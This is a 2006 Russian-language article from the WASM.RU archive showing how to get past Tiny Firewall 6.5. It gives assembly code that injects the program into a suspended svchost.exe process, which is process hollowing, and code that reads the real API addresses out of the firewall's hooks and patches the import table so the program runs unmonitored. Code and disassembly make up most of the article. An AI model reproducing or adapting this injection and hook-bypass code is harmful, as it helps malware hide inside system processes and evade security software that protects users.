Обход Tiny Firewall — Архив WASM.RU
Tiny Firewall (дальше tf) представляет собой компактную и надёжную (я так думал) защиту. Но на практике всё оказывается не так хорошо, как мы думаем. Давайте посмотрим, как tf обеспечивает защиту (моя версия 6.5.126).
Создаём программу по мотивам Перехват API функций в Windows NT [Ms-Rem]:
Код (Text):
.data buffer DB 500 dup(?) ;Большой, но можно использовать не однократно szSvChost db "svchost.exe",0 .data? temp DD ? sat SECURITY_ATTRIBUTES <?> prog STARTUPINFO <?> pi PROCESS_INFORMATION <?> mov prog.cb, sizeof STARTUPINFO mov prog.wShowWindow, SW_SHOW .code start: mov edi, offset pi invoke CreateProcess, 0, offset szSvChost, 0, 0, 0, CREATE_SUSPENDED, 0, 0, offset prog, edi test eax, eax jz err invoke GetModuleHandle, 0 mov [temp], eax mov esi, eax add eax, 3ch add esi, dword ptr [eax] add esi,50h lodsd push eax invoke VirtualAllocEx, [pi.hProcess], [temp], eax, MEM_COMMIT OR MEM_RESERVE, PAGE_EXECUTE_READWRITE pop edx invoke WriteProcessMemory, [pi.hProcess], eax, [temp], edx, offset buffer mov dword ptr [buffer+CONTEXT.ContextFlags], CONTEXT_FULL invoke GetThreadContext, [pi.hThread], offset buffer mov dword ptr [buffer+CONTEXT.regEip], offset otherstart invoke SetThreadContext, pi.hThread, offset buffer invoke ResumeThread, pi.hThread invoke ExitProcess, 0 otherstart: invoke MessageBox,0,0,0,0 err: invoke ExitProcess,0 end start
Запускаем, в tf даёт права дефаулт и наблюдаем. Выскакивает сообщение, что прикрыты VirtualAllocEx и WriteProcessMemory. Давайте заглянем внутрь:
Сначала стоит джамп на функцию, якобы реальную (кстати эту строчку добавляет масм. В fasme такого нет).
00401188 $-FF25 1C204000 JMP DWORD PTR DS:[<&kernel32.VirtualAllocEx>] ; kernel32.VirtualAllocEx
Переходим:
Код (Text):
7C809AA2 >-E9 690672E3 JMP UmxSbxw.5FF2A110 7C809AA7 90 NOP Уже интересней. Прыгнем ещё разок: 5FF2A110 50 PUSH EAX 5FF2A111 A1 FCA0F25F MOV EAX,DWORD PTR DS:[5FF2A0FC] ;Тут наши права 5FF2A116 A9 01000000 TEST EAX,1 ;Сверяем 5FF2A11B 58 POP EAX 5FF2A11C 74 0D JE SHORT UmxSbxw.5FF2A12B ;Вот тут мы должны прыгнуть 5FF2A11E 58 POP EAX 5FF2A11F 68 1CA0F25F PUSH UmxSbxw.5FF2A01C ; UNICODE "VirtualAllocEx" 5FF2A124 50 PUSH EAX 5FF2A125 -FF25 ECA0F25F JMP DWORD PTR DS:[5FF2A0EC] ; UmxSbxw.5FF0606C 5FF2A12B -FF25 E4A0F25F JMP DWORD PTR DS:[5FF2A0E4] ;Настоящая функция 5FF2A131 0000 ADD BYTE PTR DS:[EAX],ALНапрашивается 2 решения:
1. Можно изменить DS:[5FF2A0FC] на 0
2. Можно получать адрес настощей функции2-й вариант более элегантен, будем использовать его. Кстати, как ни странно, но для всех защищенных функций используется один и тот же код, что нам на руку.
Код (Text):
mov esi, offset VirtualProtect ;Получаем джамп mov esi, [esi+2] ;Получаем адрес джампа mov esi, [esi] ;Прыгаем mov eax, [esi+1] ;ещё раз прыгаем lea esi, [esi+eax+5] ;Вычисляем адрес "правильной" функции add esi, 1dh lodsd push [eax] pop [VirtualProtectR]Таким образом в [VirtualProtectR] лежит настоящая VirtualProtect. А после того, как мы получили VirtualProtect мы можем поменять в таблице импорта адреса (только сначала надо дать им право на запись):
Код (Text):
MNApi proc ;esi - procedure to make normal mov esi, [edi+2] mov esi, [esi] mov eax, [esi+1] lea esi, [esi+eax+5] add esi, 1dh lodsd mov [edi+2], eax ret 0 MNApi endpА дальше работать как обычно, только обходя фаер. В аттаче лежит полная версия программы данной в начале статьи. © netw0rm
Обход Tiny Firewall
Дата публикации 16 фев 2006